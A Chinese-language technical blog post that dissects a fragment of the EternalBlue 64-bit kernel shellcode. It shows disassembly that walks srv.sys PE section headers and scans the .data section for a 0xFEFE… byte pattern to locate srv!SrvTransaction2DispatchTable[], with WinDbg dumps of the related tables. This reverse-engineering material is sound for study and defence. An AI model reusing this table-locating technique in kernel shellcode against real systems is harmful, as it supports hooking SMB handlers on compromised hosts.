Skip to content

标题: kernel shellcode之定位srv!SrvTransaction2DispatchTable[]

https://scz.617.cn/windows/201704171418.txt

以64-bits为例,这是Eternalblue所用代码:


/ * winnt.h /

define IMAGE_SIZEOF_SECTION_HEADER 40

define IMAGE_SIZEOF_SHORT_NAME 8

typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // +0x00 union { DWORD PhysicalAddress; // +0x08 DWORD VirtualSize; // +0x08 } Misc; // +0x08 DWORD VirtualAddress; // +0x0c DWORD SizeOfRawData; // +0x10 DWORD PointerToRawData; // +0x14 DWORD PointerToRelocations; // +0x18 DWORD PointerToLinenumbers; // +0x1c WORD NumberOfRelocations; // +0x20 WORD NumberOfLinenumbers; // +0x22 DWORD Characteristics; // +0x24 // +0x28 } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;


00000000000006C5 48 89 F0 mov rax, rsi ; srv 00000000000006C8 48 31 D2 xor rdx, rdx 00000000000006CB 48 89 C3 mov rbx, rax 00000000000006CE 8B 50 3C mov edx, [rax+3Ch] ; 在(基址+0x3c)处获取e_lfanew 00000000000006D1 48 01 D0 add rax, rdx ; base+dwo(base+0x3c) 00000000000006D4 48 89 C6 mov rsi, rax ; PE 00000000000006D7 48 31 C9 xor rcx, rcx 00000000000006DA 48 89 CA mov rdx, rcx 00000000000006DD 66 8B 48 06 mov cx, [rax+6] ; dt ntdll!_IMAGE_FILE_HEADER 00000000000006DD ; IMAGE_FILE_HEADER.NumberOfSections 00000000000006E1 66 8B 50 14 mov dx, [rax+14h] ; IMAGE_FILE_HEADER.SizeOfOptionalHeader 00000000000006E5 48 01 D6 add rsi, rdx ; PE+SizeOfOptionalHeader 00000000000006E8 48 83 C6 18 add rsi, 18h ; PE+4+0x14+SizeOfOptionalHeader 00000000000006E8 ; IMAGE_NT_HEADERS64之后是IMAGE_SECTION_HEADER 00000000000006EC 48 BF 2E 64 61 74 61 00+ mov rdi, 'atad.' ; .data 00000000000006F6 00000000000006F6 loop_6F6: ; NumberOfSections 00000000000006F6 48 83 F9 00 cmp rcx, 0 00000000000006FA 0F 84 CD 00 00 00 jz error_7CD 0000000000000700 48 8B 06 mov rax, [rsi] ; IMAGE_SECTION_HEADER.Name[8] 0000000000000703 48 39 F8 cmp rax, rdi ; .data 0000000000000706 74 09 jz short found_711 0000000000000708 48 83 C6 28 add rsi, 28h ; sizeof(IMAGE_SECTION_HEADER) 000000000000070C 48 FF C9 dec rcx ; NumberOfSections-- 000000000000070F EB E5 jmp short loop_6F


上述代码在定位srv模块的.data section。

用64-bits IDA反汇编srv.sys,在"Names windows"中寻找SrvTransaction2DispatchTable, 会发现它的低址方向充斥着很多组"FE FE FE FE FE FE FE FE"。这些实际是 srv!SrvSmbWordCount[]中的数据,对应"-2 -2 -2 -2 -2 -2 -2 -2",数据类型是SCHAR。

kd> dq srv!SrvSmbWordCount l 0x20 fffff88009c8f660 0101010303020000 0303050505050800 fffff88009c8f670 fefefe0505040000 fefefefefefefefe fffff88009c8f680 0e08ff08010701fe ffff0fff01030308 fffff88009c8f690 fefe010109ff0303 fefefefefefefefe fffff88009c8f6a0 fefefefefefefefe fefefefefefefefe fffff88009c8f6b0 fefefefefefefefe fefefefefefefefe fffff88009c8f6c0 fefefefefefefefe fefefefefefefefe fffff88009c8f6d0 fefe0402ff000000 fefefefefefefefe fffff88009c8f6e0 fefefe0202020200 fefefefefefefefe fffff88009c8f6f0 fefefefefefefefe fefefefefefefefe fffff88009c8f700 fefe0400fe1812ff fefefefefefefefe fffff88009c8f710 fefefefefefefefe fefefefefefefefe fffff88009c8f720 fefefefe02010102 fefefefefefefefe fffff88009c8f730 fefefefefefefefe fefefefefefefefe fffff88009c8f740 fefefefefefefefe fefefefefefefefe fffff88009c8f750 fefefefefefefefe fefefefefefefefe

srv!SrvSmbWordCount[]之后依次是srv!SrvTransaction2DispatchTable[]、 srv!SrvNtTransactionDispatchTable[]:

kd> dps srv!SrvTransaction2DispatchTable l 0x12 fffff88009e50760 fffff88009eba000 srv!SrvSmbOpen2 // 0 fffff88009e50768 fffff88009e82fb0 srv!SrvSmbFindFirst2 fffff88009e50770 fffff88009eb77c0 srv!SrvSmbFindNext2 fffff88009e50778 fffff88009e84f90 srv!SrvSmbQueryFsInformation fffff88009e50780 fffff88009eac580 srv!SrvSmbSetFsInformation fffff88009e50788 fffff88009e84780 srv!SrvSmbQueryPathInformation fffff88009e50790 fffff88009eba530 srv!SrvSmbSetPathInformation fffff88009e50798 fffff88009e7bc40 srv!SrvSmbQueryFileInformation fffff88009e507a0 fffff88009e80660 srv!SrvSmbSetFileInformation fffff88009e507a8 fffff88009ea0ca0 srv!SrvSmbFindNotify fffff88009e507b0 fffff88009eba360 srv!SrvSmbIoctl2 fffff88009e507b8 fffff88009ea0ca0 srv!SrvSmbFindNotify fffff88009e507c0 fffff88009ea0ca0 srv!SrvSmbFindNotify fffff88009e507c8 fffff88009eacd50 srv!SrvSmbCreateDirectory2 fffff88009e507d0 fffff88009ea0aa0 srv!SrvTransactionNotImplemented // 14 fffff88009e507d8 fffff88009ea0aa0 srv!SrvTransactionNotImplemented // 15 fffff88009e507e0 fffff88009ea67b0 srv!SrvSmbGetDfsReferral fffff88009e507e8 fffff88009ea2420 srv!SrvSmbReportDfsInconsistency // 17

kd> dps srv!SrvNtTransactionDispatchTable l 9 fffff88009c8f7f0 0000000000000000 fffff88009c8f7f8 fffff88009cf8ff0 srv!SrvSmbCreateWithSdOrEa fffff88009c8f800 fffff88009c783c0 srv!SrvSmbNtIoctl fffff88009c8f808 fffff88009ceafa0 srv!SrvSmbSetSecurityDescriptor fffff88009c8f810 fffff88009cf5f40 srv!SrvSmbNtNotifyChange fffff88009c8f818 fffff88009cdfe10 srv!SrvSmbNtRename fffff88009c8f820 fffff88009cead50 srv!SrvSmbQuerySecurityDescriptor fffff88009c8f828 fffff88009ceaad0 srv!SrvSmbQueryQuota fffff88009c8f830 fffff88009cea920 srv!SrvSmbSetQuota

srv!SrvNtTransactionDispatchTable[0]在XP源码中就是NULL。


0000000000000711 found_711: ; .data 0000000000000711 8B 46 0C mov eax, [rsi+0Ch] ; IMAGE_SECTION_HEADER.VirtualAddress 0000000000000714 8B 4E 08 mov ecx, [rsi+8] ; IMAGE_SECTION_HEADER.VirtualSize 0000000000000717 48 01 C6 add rsi, rax ; .data+IMAGE_SECTION_HEADER.VirtualAddress 000000000000071A 48 BB FE FE FE FE FE FE+ mov rbx, 0FEFEFEFEFEFEFEFEh ; 这是经验数据,不是逻辑必然,实际是srv!SrvSmbWordCount[]中的数据 0000000000000724 0000000000000724 loop_724: ; VirtualSize -= 8 0000000000000724 48 83 E9 08 sub rcx, 8 0000000000000728 48 83 F9 00 cmp rcx, 0 000000000000072C 0F 8C 9B 00 00 00 jl error_7CD 0000000000000732 48 8B 3E mov rdi, [rsi] 0000000000000735 48 39 DF cmp rdi, rbx ; 是否出现0xFEFEFEFEFEFEFEFE 0000000000000738 75 0C jnz short loc_746 000000000000073A 4C 8B 86 98 00 00 00 mov r8, [rsi+98h] 0000000000000741 4D 85 C0 test r8, r8 ; srv!SrvNtTransactionDispatchTable[0]在XP源码中就是NULL 0000000000000744 74 06 jz short found_74C 0000000000000746 0000000000000746 loc_746: ; p += 8 0000000000000746 48 83 C6 08 add rsi, 8 000000000000074A EB D8 jmp short loop_724 000000000000074C 000000000000074C 000000000000074C found_74C: ; rsi+8=srv!SrvTransaction2DispatchTable[] 000000000000074C 48 83 C6 08 add rsi, 8


上述代码在srv模块的.data section中寻找srv!SrvSmbWordCount[],然后辅以 srv!SrvNtTransactionDispatchTable[0]等于NULL的事实夹击定位 srv!SrvTransaction2DispatchTable[]。显然这段代码基于经验事实,不是逻辑必然。